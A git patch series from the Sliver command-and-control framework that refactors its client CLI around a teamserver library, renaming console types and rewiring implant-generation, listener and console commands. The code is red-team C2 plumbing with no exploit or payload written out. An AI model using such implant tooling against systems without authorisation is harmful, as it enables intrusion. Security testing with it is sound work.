+512,9 @@ github.com/pkg/errors # github.com/pmezard/go-difflib v1.0.0 ## explicit github.com/pmezard/go-difflib/difflib +# github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e +## explicit; go 1.16 +github.com/psanford/memfs # github.com/reeflective/console v0.1.6 ## explicit; go 1.20 github.com/reeflective/console @@ -531,13 +534,32 @@ github.com/reeflective/readline/internal/macro github.com/reeflective/readline/internal/strutil github.com/reeflective/readline/internal/term github.com/reeflective/readline/internal/ui +# github.com/reeflective/team v0.0.0-20230717232729-e28a155bca96 => /home/user/code/github.com/reeflective/team +## explicit; go 1.20 +github.com/reeflective/team +github.com/reeflective/team/client +github.com/reeflective/team/client/commands +github.com/reeflective/team/internal/assets +github.com/reeflective/team/internal/certs +github.com/reeflective/team/internal/command +github.com/reeflective/team/internal/db +github.com/reeflective/team/internal/db/wasmsqlite +github.com/reeflective/team/internal/log +github.com/reeflective/team/internal/systemd +github.com/reeflective/team/internal/version +github.com/reeflective/team/server +github.com/reeflective/team/server/commands +github.com/reeflective/team/transports/grpc/client +github.com/reeflective/team/transports/grpc/common +github.com/reeflective/team/transports/grpc/proto +github.com/reeflective/team/transports/grpc/server # github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec ## explicit; go 1.12 github.com/remyoudompheng/bigfft # github.com/rivo/uniseg v0.4.4 ## explicit; go 1.18 github.com/rivo/uniseg -# github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca +# github.com/rsteube/carapace v0.37.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca ## explicit; go 1.15 github.com/rsteube/carapace github.com/rsteube/carapace/internal/cache @@ -728,7 +750,7 @@ golang.org/x/exp/slices golang.org/x/exp/slog golang.org/x/exp/slog/internal golang.org/x/exp/slog/internal/buffer -# golang.org/x/mod v0.10.0 +# golang.org/x/mod v0.11.0 ## explicit; go 1.17 golang.org/x/mod/semver # golang.org/x/net v0.11.0 @@ -751,8 +773,8 @@ golang.org/x/net/ipv6 golang.org/x/net/proxy golang.org/x/net/route golang.org/x/net/trace -# golang.org/x/sync v0.2.0 -## explicit +# golang.org/x/sync v0.3.0 +## explicit; go 1.17 golang.org/x/sync/errgroup # golang.org/x/sys v0.9.0 ## explicit; go 1.17 From 8cf8e669aa12cd457b9bbfc09b0f7782983847ac Mon Sep 17 00:00:00 2001 From: maxlandon Date: Wed, 19 Jul 2023 07:21:54 +0200 Subject: [PATCH 010/124] A base sliver-server/client compiling with team library --- client/cli/cli.go | 2 +- client/cli/implant.go | 16 +++++----- client/command/console/console.go | 37 +++++++++++++++++++++++ client/console/log.go | 37 +++++++++++------------ server/cli/cli.go | 2 +- server/cli/teamserver.go | 2 +- server/console/console.go | 2 +- vendor/github.com/psanford/memfs/memfs.go | 5 +-- 8 files changed, 70 insertions(+), 33 deletions(-) create mode 100644 client/command/console/console.go diff --git a/client/cli/cli.go b/client/cli/cli.go index e01c3021a7..d600ca157e 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -58,7 +58,7 @@ func init() { teamclient := newSliverTeam(con) teamclientCmds := commands.Generate(teamclient) - // rootCmd.AddCommand(teamclientCmds) + rootCmd.AddCommand(teamclientCmds) // Version rootCmd.AddCommand(cmdVersion) diff --git a/client/cli/implant.go b/client/cli/implant.go index 61cea3af38..6d609a7e19 100644 --- a/client/cli/implant.go +++ b/client/cli/implant.go @@ -12,8 +12,8 @@ import ( "github.com/spf13/pflag" ) -func implantCmd(con *console.SliverConsoleClient) *cobra.Command { - con.IsCLI = trueSliverClient +func implantCmd(con *console.SliverClient) *cobra.Command { + con.IsCLI = true makeCommands := command.SliverCommands(con) cmd := makeCommands() @@ -33,13 +33,13 @@ func implantCmd(con *console.SliverConsoleClient) *cobra.Command { return cmd } -func makeRunners(implantCmd *cobra.Command, con *console.SliverConsoleClient) (pre, post func(cmd *cobra.Command, args []string) error) { - startConsole, closeConsole := consoleRunnerCmd(con, falsSliverClient +func makeRunners(implantCmd *cobra.Command, con *console.SliverClient) (pre, post func(cmd *cobra.Command, args []string) error) { + // startConsole, closeConsole := consoleRunnerCmd(con, falsSliverClient // The pre-run function connects to the server and sets up a "fake" console, // so we can have access to active sessions/beacons, and other stuff needed. pre = func(_ *cobra.Command, args []string) error { - startConsole(implantCmd, args) + // startConsole(implantCmd, args) // Set the active target. target, _ := implantCmd.Flags().GetString("use") @@ -55,11 +55,11 @@ func makeRunners(implantCmd *cobra.Command, con *console.SliverConsoleClient) (p return nil } - return pre, closeConsole + return pre, nil } -func makeCompleters(cmd *cobra.Command, con *console.SliverConsoleClient) { - comps := carapace.Gen(cmd)SliverClient +func makeCompleters(cmd *cobra.Command, con *console.SliverClient) { + comps := carapace.Gen(cmd) comps.PreRun(func(cmd *cobra.Command, args []string) { cmd.PersistentPreRunE(cmd, args) diff --git a/client/command/console/console.go b/client/command/console/console.go new file mode 100644 index 0000000000..65dcee9c4d --- /dev/null +++ b/client/command/console/console.go @@ -0,0 +1,37 @@ +package console + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/bishopfox/sliver/client/command" + "github.com/bishopfox/sliver/client/console" + "github.com/spf13/cobra" +) + +func Command(con *console.SliverClient) *cobra.Command { + consoleCmd := &cobra.Command{ + Use: "console", + Short: "Start the sliver client console", + RunE: func(cmd *cobra.Command, args []string) error { + return console.StartClient(con, command.ServerCommands(con, nil), command.SliverCommands(con), true) + }, + } + + return consoleCmd +} diff --git a/client/console/log.go b/client/console/log.go index cb2d0d35c3..dde03bf9d2 100644 --- a/client/console/log.go +++ b/client/console/log.go @@ -28,14 +28,13 @@ import ( "strings" "time" - "github.com/moloch--/asciicast" - "golang.org/x/exp/slog" - "golang.org/x/term" - "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/rpcpb" + "github.com/moloch--/asciicast" + "golang.org/x/exp/slog" + "golang.org/x/term" ) // ConsoleClientLogger is an io.Writer that sends data to the server. @@ -54,7 +53,7 @@ func (l *ConsoleClientLogger) Write(buf []byte) (int, error) { // ClientLogStream requires a log stream name, used to save the logs // going through this stream in a specific log subdirectory/file. -func (con *SliverConsoleClient) ClientLogStream(name string) (*ConsoleClientLogger, error) { +func (con *SliverClient) ClientLogStream(name string) (*ConsoleClientLogger, error) { stream, err := con.Rpc.ClientLog(context.Background()) if err != nil { return nil, err @@ -62,7 +61,7 @@ func (con *SliverConsoleClient) ClientLogStream(name string) (*ConsoleClientLogg return &ConsoleClientLogger{name: name, Stream: stream}, nil } -func (con *SliverConsoleClient) setupLogger(writers ...io.Writer) { +func (con *SliverClient) setupLogger(writers ...io.Writer) { logWriter := io.MultiWriter(writers...) jsonOptions := &slog.HandlerOptions{ Level: slog.LevelDebug, @@ -74,7 +73,7 @@ func (con *SliverConsoleClient) setupLogger(writers ...io.Writer) { } // logCommand logs non empty commands to the client log file. -func (con *SliverConsoleClient) logCommand(args []string) ([]string, error) { +func (con *SliverClient) logCommand(args []string) ([]string, error) { if len(args) == 0 { return args, nil } @@ -83,7 +82,7 @@ func (con *SliverConsoleClient) logCommand(args []string) ([]string, error) { return args, nil } -func (con *SliverConsoleClient) setupAsciicastRecord(logFile *os.File, server io.Writer) { +func (con *SliverClient) setupAsciicastRecord(logFile *os.File, server io.Writer) { x, y, err := term.GetSize(int(os.Stdin.Fd())) if err != nil { x, y = 80, 80 @@ -139,8 +138,8 @@ func getConsoleAsciicastFile() *os.File { // These below will print their output regardless of the currently active menu (server/implant), // while those in the log package tie their output to the current menu. -// PrintAsyncResponse - Print the generic async response information -func (con *SliverConsoleClient) PrintAsyncResponse(resp *commonpb.Response) { +// PrintAsyncResponse - Print the generic async response information. +func (con *SliverClient) PrintAsyncResponse(resp *commonpb.Response) { ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) defer cancel() beacon, err := con.Rpc.GetBeacon(ctx, &clientpb.Beacon{ID: resp.BeaconID}) @@ -151,7 +150,7 @@ func (con *SliverConsoleClient) PrintAsyncResponse(resp *commonpb.Response) { con.PrintInfof("Tasked beacon %s (%s)\n", beacon.Name, strings.Split(resp.TaskID, "-")[0]) } -func (con *SliverConsoleClient) Printf(format string, args ...any) { +func (con *SliverClient) Printf(format string, args ...any) { logger := slog.NewLogLogger(con.jsonHandler, slog.LevelInfo) logger.Printf(format, args...) @@ -159,7 +158,7 @@ func (con *SliverConsoleClient) Printf(format string, args ...any) { } // Println prints an output without status and immediately below the last line of output. -func (con *SliverConsoleClient) Println(args ...any) { +func (con *SliverClient) Println(args ...any) { logger := slog.New(con.jsonHandler) format := strings.Repeat("%s", len(args)) logger.Info(fmt.Sprintf(format, args)) @@ -167,7 +166,7 @@ func (con *SliverConsoleClient) Println(args ...any) { } // PrintInfof prints an info message immediately below the last line of output. -func (con *SliverConsoleClient) PrintInfof(format string, args ...any) { +func (con *SliverClient) PrintInfof(format string, args ...any) { logger := slog.New(con.jsonHandler) logger.Info(fmt.Sprintf(format, args...)) @@ -176,7 +175,7 @@ func (con *SliverConsoleClient) PrintInfof(format string, args ...any) { } // PrintSuccessf prints a success message immediately below the last line of output. -func (con *SliverConsoleClient) PrintSuccessf(format string, args ...any) { +func (con *SliverClient) PrintSuccessf(format string, args ...any) { logger := slog.New(con.jsonHandler) logger.Info(fmt.Sprintf(format, args...)) @@ -185,7 +184,7 @@ func (con *SliverConsoleClient) PrintSuccessf(format string, args ...any) { } // PrintWarnf a warning message immediately below the last line of output. -func (con *SliverConsoleClient) PrintWarnf(format string, args ...any) { +func (con *SliverClient) PrintWarnf(format string, args ...any) { logger := slog.New(con.jsonHandler) logger.Warn(fmt.Sprintf(format, args...)) @@ -194,7 +193,7 @@ func (con *SliverConsoleClient) PrintWarnf(format string, args ...any) { } // PrintErrorf prints an error message immediately below the last line of output. -func (con *SliverConsoleClient) PrintErrorf(format string, args ...any) { +func (con *SliverClient) PrintErrorf(format string, args ...any) { logger := slog.New(con.jsonHandler) logger.Error(fmt.Sprintf(format, args...)) @@ -203,7 +202,7 @@ func (con *SliverConsoleClient) PrintErrorf(format string, args ...any) { } // PrintEventInfof prints an info message with a leading/trailing newline for emphasis. -func (con *SliverConsoleClient) PrintEventInfof(format string, args ...any) { +func (con *SliverClient) PrintEventInfof(format string, args ...any) { logger := slog.New(con.jsonHandler).With(slog.String("type", "event")) logger.Info(fmt.Sprintf(format, args...)) @@ -212,7 +211,7 @@ func (con *SliverConsoleClient) PrintEventInfof(format string, args ...any) { } // PrintEventErrorf prints an error message with a leading/trailing newline for emphasis. -func (con *SliverConsoleClient) PrintEventErrorf(format string, args ...any) { +func (con *SliverClient) PrintEventErrorf(format string, args ...any) { logger := slog.New(con.jsonHandler).With(slog.String("type", "event")) logger.Error(fmt.Sprintf(format, args...)) @@ -221,7 +220,7 @@ func (con *SliverConsoleClient) PrintEventErrorf(format string, args ...any) { } // PrintEventSuccessf a success message with a leading/trailing newline for emphasis. -func (con *SliverConsoleClient) PrintEventSuccessf(format string, args ...any) { +func (con *SliverClient) PrintEventSuccessf(format string, args ...any) { logger := slog.New(con.jsonHandler).With(slog.String("type", "event")) logger.Info(fmt.Sprintf(format, args...)) diff --git a/server/cli/cli.go b/server/cli/cli.go index cdab21160e..4da9dfdb38 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -221,7 +221,7 @@ func consoleCmd(con *console.SliverClient) *cobra.Command { Use: "console", Short: "Start the sliver client console", RunE: func(cmd *cobra.Command, args []string) error { - return console.StartClient(con, con.Rpc, command.ServerCommands(con, nil), command.SliverCommands(con), true) + return console.StartClient(con, command.ServerCommands(con, nil), command.SliverCommands(con), true) }, } diff --git a/server/cli/teamserver.go b/server/cli/teamserver.go index 75efe3da0c..ff21844873 100644 --- a/server/cli/teamserver.go +++ b/server/cli/teamserver.go @@ -31,7 +31,7 @@ import ( "google.golang.org/grpc" ) -func newSliverTeam(con *console.SliverConsoleClient) (*server.Server, *client.Client) { +func newSliverTeam(con *console.SliverClient) (*server.Server, *client.Client) { // Teamserver gTeamserver := teamGrpc.NewListener() diff --git a/server/console/console.go b/server/console/console.go index af40d3a734..44e4d5f1e8 100644 --- a/server/console/console.go +++ b/server/console/console.go @@ -61,7 +61,7 @@ func Start() { } con := console.NewConsole(false) - console.StartClient(con, command.ServerCommands(con, serverOnlyCmds), command.SliverCommands(con), true) + // console.StartClient(con, command.ServerCommands(con, serverOnlyCmds), command.SliverCommands(con), true) con.App.Start() } diff --git a/vendor/github.com/psanford/memfs/memfs.go b/vendor/github.com/psanford/memfs/memfs.go index da2fd3e6a3..311ca6bd6d 100644 --- a/vendor/github.com/psanford/memfs/memfs.go +++ b/vendor/github.com/psanford/memfs/memfs.go @@ -179,7 +179,7 @@ func (rootFS *FS) create(path string) (*File, error) { newFile := &File{ name: filePart, - perm: 0o666, + perm: 0666, content: &bytes.Buffer{}, } dir.children[filePart] = newFile @@ -366,7 +366,8 @@ func (f *File) Close() error { return nil } -type childI interface{} +type childI interface { +} type fileInfo struct { name string From e7b6f5e5699bd3ed8256f0fe58e8ba9fa33e1a96 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Thu, 20 Jul 2023 20:48:15 +0200 Subject: [PATCH 011/124] The teamserver/teamclient model now works mostly as intended: - Correctly connects/disconnects from the server (fixed race condition). - Correctly proposes completions where required. - Correctly executes commands. Problems: - The pre-run/post-run can be more efficient. - Pre-run/post-runs should be bound to leaf commands where required. - Logging is quite big. --- Makefile | 6 +- client/cli/cli.go | 125 ++++++-- client/cli/console.go | 12 +- client/cli/teamclient.go | 1 - client/command/console/console.go | 4 +- client/command/generate/canaries.go | 9 +- client/command/generate/commands.go | 16 +- client/command/generate/generate-beacon.go | 5 +- client/command/generate/generate-info.go | 5 +- client/command/generate/generate-stager.go | 5 +- client/command/generate/generate.go | 45 ++- client/command/generate/helpers.go | 11 +- client/command/generate/implants-rm.go | 5 +- client/command/generate/implants.go | 17 +- client/command/generate/profiles-generate.go | 5 +- client/command/generate/profiles-new.go | 7 +- client/command/generate/profiles-rm.go | 5 +- client/command/generate/profiles.go | 19 +- client/command/generate/regenerate.go | 5 +- client/command/generate/traffic-encoders.go | 33 +- client/command/jobs/commands.go | 7 +- client/command/jobs/dns.go | 5 +- client/command/jobs/http.go | 5 +- client/command/jobs/https.go | 5 +- client/command/jobs/jobs.go | 10 +- client/command/jobs/mtls.go | 5 +- client/command/jobs/stage.go | 8 +- client/command/jobs/wg.go | 5 +- client/command/server.go | 17 +- client/console/console.go | 42 ++- client/constants/constants.go | 80 ++--- client/core/curses.go | 6 +- client/core/portfwd.go | 25 +- client/core/reactions.go | 14 +- client/core/socks.go | 20 +- client/core/tunnel.go | 6 +- client/core/tunnel_io.go | 10 +- client/core/tunnels.go | 17 +- go.mod | 4 + go.sum | 4 - server/cli/cli.go | 284 +++++++++++------- server/cli/teamserver.go | 10 +- server/core/events.go | 16 +- server/rpc/rpc-events.go | 7 +- .../github.com/reeflective/console/console.go | 2 +- vendor/github.com/reeflective/console/menu.go | 4 +- vendor/github.com/reeflective/console/run.go | 44 ++- .../reeflective/console/tab-completer.go | 2 +- .../reeflective/team/server/server.go | 11 +- .../github.com/rsteube/carapace/carapace.go | 13 + .../github.com/rsteube/carapace/complete.go | 6 +- .../rsteube/carapace/pkg/style/config.go | 48 +-- vendor/github.com/rsteube/carapace/storage.go | 8 + .../elves/elvish/pkg/cli/lscolors/feature.go | 1 - vendor/modules.txt | 4 +- 55 files changed, 653 insertions(+), 442 deletions(-) diff --git a/Makefile b/Makefile index 3711c6c847..d0a043d438 100644 --- a/Makefile +++ b/Makefile @@ -106,8 +106,10 @@ endif # .PHONY: default default: clean .downloaded_assets validate-go-version - $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server - $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client + $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server + # $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server + $(ENV) CGO_ENABLED=0 $(GO) build -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client + # $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client # Allows you to build a CGO-free client for any target e.g. `GOOS=windows GOARCH=arm64 make client` # NOTE: WireGuard is not supported on all platforms, but most 64-bit GOOS/GOARCH combinations should work. diff --git a/client/cli/cli.go b/client/cli/cli.go index d600ca157e..49eb31c265 100644 --- a/client/cli/cli.go +++ b/client/cli/cli.go @@ -24,9 +24,10 @@ import ( "os" "path" + "github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/console" + // consts "github.com/bishopfox/sliver/client/constants". "github.com/bishopfox/sliver/client/version" - "github.com/reeflective/team/client/commands" "github.com/rsteube/carapace" "github.com/spf13/cobra" ) @@ -49,6 +50,17 @@ func initLogging(appDir string) *os.File { } func init() { +} + +var rootCmd = &cobra.Command{ + Use: "sliver-client", + Short: "Client-only Sliver C2 management", + Long: ``, + TraverseChildren: true, +} + +// Execute - Execute root command. +func Execute() { // Create the console client, without any RPC or commands bound to it yet. // This created before anything so that multiple commands can make use of // the same underlying command/run infrastructure. @@ -56,50 +68,123 @@ func init() { // Teamclient API and commands for remote CLI. teamclient := newSliverTeam(con) - teamclientCmds := commands.Generate(teamclient) + con.Teamclient = teamclient - rootCmd.AddCommand(teamclientCmds) + // Bind commands to the app + // server := con.App.Menu(consts.ServerMenu) + // server.SetCommands(command.ServerCommands(con, nil)) + // + // sliver := con.App.Menu(consts.ImplantMenu) + // sliver.SetCommands(command.SliverCommands(con)) + + serverCmds := command.ServerCommands(con, nil)() + + // serverCmds = server.Command + serverCmds.Use = "sliver-client" // Version - rootCmd.AddCommand(cmdVersion) + serverCmds.AddCommand(cmdVersion) preRun := func(_ *cobra.Command, _ []string) error { - return teamclient.Connect() + teamclient.Connect() + + console.StartClient(con, command.ServerCommands(con, nil), command.SliverCommands(con)) + return nil } - rootCmd.PersistentPreRunE = preRun + serverCmds.PersistentPreRunE = preRun + postRun := func(_ *cobra.Command, _ []string) error { + // teamclient.SetLogLevel(1) + teamclient.Disconnect() + return nil + } + + // serverCmds.PersistentPostRunE = postRun // Client console. // All commands and RPC connection are generated WITHIN the command RunE(): // that means there should be no redundant command tree/RPC connections with // other command trees below, such as the implant one. - rootCmd.AddCommand(consoleCmd(con)) + serverCmds.AddCommand(consoleCmd(con)) // Implant. // The implant command allows users to run commands on slivers from their // system shell. It makes use of pre-runners for connecting to the server // and binding sliver commands. These same pre-runners are also used for // command completion/filtering purposes. - rootCmd.AddCommand(implantCmd(con)) + serverCmds.AddCommand(implantCmd(con)) // Completions - comps := carapace.Gen(rootCmd) + comps := carapace.Gen(serverCmds) comps.PreRun(func(cmd *cobra.Command, args []string) { preRun(cmd, args) }) -} - -var rootCmd = &cobra.Command{ - Use: "sliver-client", - Short: "Client-only Sliver C2 management", - Long: ``, - TraverseChildren: true, -} + comps.PostRun(func(cmd *cobra.Command, args []string) { + postRun(cmd, args) + }) -// Execute - Execute root command. -func Execute() { - if err := rootCmd.Execute(); err != nil { + if err := serverCmds.Execute(); err != nil { fmt.Println(err) os.Exit(1) } } + +// func Execute() { +// // Create the console client, without any RPC or commands bound to it yet. +// // This created before anything so that multiple commands can make use of +// // the same underlying command/run infrastructure. +// con := console.NewConsole(false) +// +// // Teamclient API and commands for remote CLI. +// teamclient := newSliverTeam(con) +// teamclientCmds := commands.Generate(teamclient) +// +// rootCmd.AddCommand(teamclientCmds) +// +// // Bind commands to the app +// server := con.App.Menu(consts.ServerMenu) +// server.SetCommands(command.ServerCommands(con, nil)) +// +// sliver := con.App.Menu(consts.ImplantMenu) +// sliver.SetCommands(command.SliverCommands(con)) +// +// server.Reset() +// +// rootCmd = server.Command +// rootCmd.Use = "sliver-client" +// +// // Version +// rootCmd.AddCommand(cmdVersion) +// +// preRun := func(_ *cobra.Command, _ []string) error { +// // return teamclient.Connect() +// teamclient.Connect() +// console.StartClient(con, nil, nil) +// return nil +// } +// +// rootCmd.PersistentPreRunE = preRun +// +// // Client console. +// // All commands and RPC connection are generated WITHIN the command RunE(): +// // that means there should be no redundant command tree/RPC connections with +// // other command trees below, such as the implant one. +// rootCmd.AddCommand(consoleCmd(con)) +// +// // Implant. +// // The implant command allows users to run commands on slivers from their +// // system shell. It makes use of pre-runners for connecting to the server +// // and binding sliver commands. These same pre-runners are also used for +// // command completion/filtering purposes. +// rootCmd.AddCommand(implantCmd(con)) +// +// // Completions +// comps := carapace.Gen(rootCmd) +// comps.PreRun(func(cmd *cobra.Command, args []string) { +// preRun(cmd, args) +// }) +// if err := rootCmd.Execute(); err != nil { +// fmt.Println(err) +// os.Exit(1) +// } +// } diff --git a/client/cli/console.go b/client/cli/console.go index cbd7b1ca16..541ff96050 100644 --- a/client/cli/console.go +++ b/client/cli/console.go @@ -3,6 +3,7 @@ package cli import ( "github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" "github.com/spf13/cobra" ) @@ -12,7 +13,16 @@ func consoleCmd(con *console.SliverClient) *cobra.Command { Use: "console", Short: "Start the sliver client console", RunE: func(cmd *cobra.Command, args []string) error { - return console.StartClient(con, command.ServerCommands(con, nil), command.SliverCommands(con), true) + // return console.StartClient(con, nil, nil, true) + + // Bind commands to the app + server := con.App.Menu(consts.ServerMenu) + server.SetCommands(command.ServerCommands(con, nil)) + + sliver := con.App.Menu(consts.ImplantMenu) + sliver.SetCommands(command.SliverCommands(con)) + + return con.App.Start() }, } diff --git a/client/cli/teamclient.go b/client/cli/teamclient.go index e54e8e303d..77c1ccc315 100644 --- a/client/cli/teamclient.go +++ b/client/cli/teamclient.go @@ -49,7 +49,6 @@ func newSliverTeam(con *console.SliverClient) *client.Client { teamclient, err := client.New("sliver", gTeamclient, clientOpts...) if err != nil { - // WARN: Remote this panic(err) } diff --git a/client/command/console/console.go b/client/command/console/console.go index 65dcee9c4d..f59a277a68 100644 --- a/client/command/console/console.go +++ b/client/command/console/console.go @@ -19,7 +19,6 @@ package console */ import ( - "github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/console" "github.com/spf13/cobra" ) @@ -29,7 +28,8 @@ func Command(con *console.SliverClient) *cobra.Command { Use: "console", Short: "Start the sliver client console", RunE: func(cmd *cobra.Command, args []string) error { - return console.StartClient(con, command.ServerCommands(con, nil), command.SliverCommands(con), true) + con.IsCLI = false + return con.App.Start() }, } diff --git a/client/command/generate/canaries.go b/client/command/generate/canaries.go index bf475a4665..e8588eeb47 100644 --- a/client/command/generate/canaries.go +++ b/client/command/generate/canaries.go @@ -4,16 +4,15 @@ import ( "context" "fmt" - "github.com/jedib0t/go-pretty/v6/table" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/jedib0t/go-pretty/v6/table" + "github.com/spf13/cobra" ) -// CanariesCmd - Display canaries from the database and their status +// CanariesCmd - Display canaries from the database and their status. func CanariesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { canaries, err := con.Rpc.Canaries(context.Background(), &commonpb.Empty{}) if err != nil { @@ -28,7 +27,7 @@ func CanariesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { } } -// PrintCanaries - Print the canaries tracked by the server +// PrintCanaries - Print the canaries tracked by the server. func PrintCanaries(con *console.SliverClient, canaries []*clientpb.DNSCanary, burnedOnly bool) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) diff --git a/client/command/generate/commands.go b/client/command/generate/commands.go index 067248fde1..1580a87923 100644 --- a/client/command/generate/commands.go +++ b/client/command/generate/commands.go @@ -1,14 +1,13 @@ package generate import ( - "github.com/rsteube/carapace" - "github.com/spf13/cobra" - "github.com/spf13/pflag" - "github.com/bishopfox/sliver/client/command/flags" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" ) // Commands returns the “ command and its subcommands. @@ -27,6 +26,15 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) + preRun := func(_ *cobra.Command, _ []string) error { + con.Teamclient.Connect() + return nil + } + comps := carapace.Gen(generateCmd) + comps.PreRun(func(cmd *cobra.Command, args []string) { + preRun(cmd, args) + }) + // Session flags and completions. coreImplantFlags("session", generateCmd) compileImplantFlags("session", generateCmd) diff --git a/client/command/generate/generate-beacon.go b/client/command/generate/generate-beacon.go index c28c2fdc7c..80add10c58 100644 --- a/client/command/generate/generate-beacon.go +++ b/client/command/generate/generate-beacon.go @@ -5,10 +5,9 @@ import ( "os" "time" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) var ( @@ -16,7 +15,7 @@ var ( ErrBeaconIntervalTooShort = fmt.Errorf("beacon interval must be %v or greater", minBeaconInterval) ) -// GenerateBeaconCmd - The main command used to generate implant binaries +// GenerateBeaconCmd - The main command used to generate implant binaries. func GenerateBeaconCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { config := parseCompileFlags(cmd, con) if config == nil { diff --git a/client/command/generate/generate-info.go b/client/command/generate/generate-info.go index a8c78273c9..f9b2a3901a 100644 --- a/client/command/generate/generate-info.go +++ b/client/command/generate/generate-info.go @@ -3,13 +3,12 @@ package generate import ( "context" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/spf13/cobra" ) -// GenerateInfoCmd - Display information about the Sliver server's compiler configuration +// GenerateInfoCmd - Display information about the Sliver server's compiler configuration. func GenerateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { compiler, err := con.Rpc.GetCompiler(context.Background(), &commonpb.Empty{}) if err != nil { diff --git a/client/command/generate/generate-stager.go b/client/command/generate/generate-stager.go index cc73e4d88c..b30831c1dd 100644 --- a/client/command/generate/generate-stager.go +++ b/client/command/generate/generate-stager.go @@ -27,13 +27,12 @@ import ( "strings" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/spf13/cobra" ) -// GenerateStagerCmd - Generate a stager using Metasploit +// GenerateStagerCmd - Generate a stager using Metasploit. func GenerateStagerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var stageProto clientpb.StageProtocol lhost, _ := cmd.Flags().GetString("lhost") diff --git a/client/command/generate/generate.go b/client/command/generate/generate.go index b51bfc30fa..a4c1fd29d6 100644 --- a/client/command/generate/generate.go +++ b/client/command/generate/generate.go @@ -33,39 +33,38 @@ import ( "time" "github.com/AlecAivazis/survey/v2" - "github.com/spf13/cobra" - "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/spin" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/util" + "github.com/spf13/cobra" ) const ( - // DefaultMTLSLPort is the default port for mtls + // DefaultMTLSLPort is the default port for mtls. DefaultMTLSLPort = 8888 - // DefaultWGPort is the default port for wg + // DefaultWGPort is the default port for wg. DefaultWGLPort = 53 - // DefaultWGNPort is the default n port for wg + // DefaultWGNPort is the default n port for wg. DefaultWGNPort = 8888 - // DefaultWGKeyExPort is the default port for wg key exchange + // DefaultWGKeyExPort is the default port for wg key exchange. DefaultWGKeyExPort = 1337 - // DefaultHTTPLPort is the default port for http + // DefaultHTTPLPort is the default port for http. DefaultHTTPLPort = 80 - // DefaultHTTPSLPort is the default port for https + // DefaultHTTPSLPort is the default port for https. DefaultHTTPSLPort = 443 - // DefaultDNSLPortis the default port for dns + // DefaultDNSLPortis the default port for dns. DefaultDNSLPort = 53 - // DefaultTCPPivotPort is the default port for tcp pivots + // DefaultTCPPivotPort is the default port for tcp pivots. DefaultTCPPivotPort = 9898 - // DefaultReconnect is the default reconnect time + // DefaultReconnect is the default reconnect time. DefaultReconnect = 60 - // DefaultPollTimeout is the default poll timeout + // DefaultPollTimeout is the default poll timeout. DefaultPollTimeout = 360 // 6 minutes - // DefaultMaxErrors is the default max reconnection errors before giving up + // DefaultMaxErrors is the default max reconnection errors before giving up. DefaultMaxErrors = 1000 ) @@ -74,7 +73,7 @@ const ( ) var ( - // SupportedCompilerTargets - Supported compiler targets + // 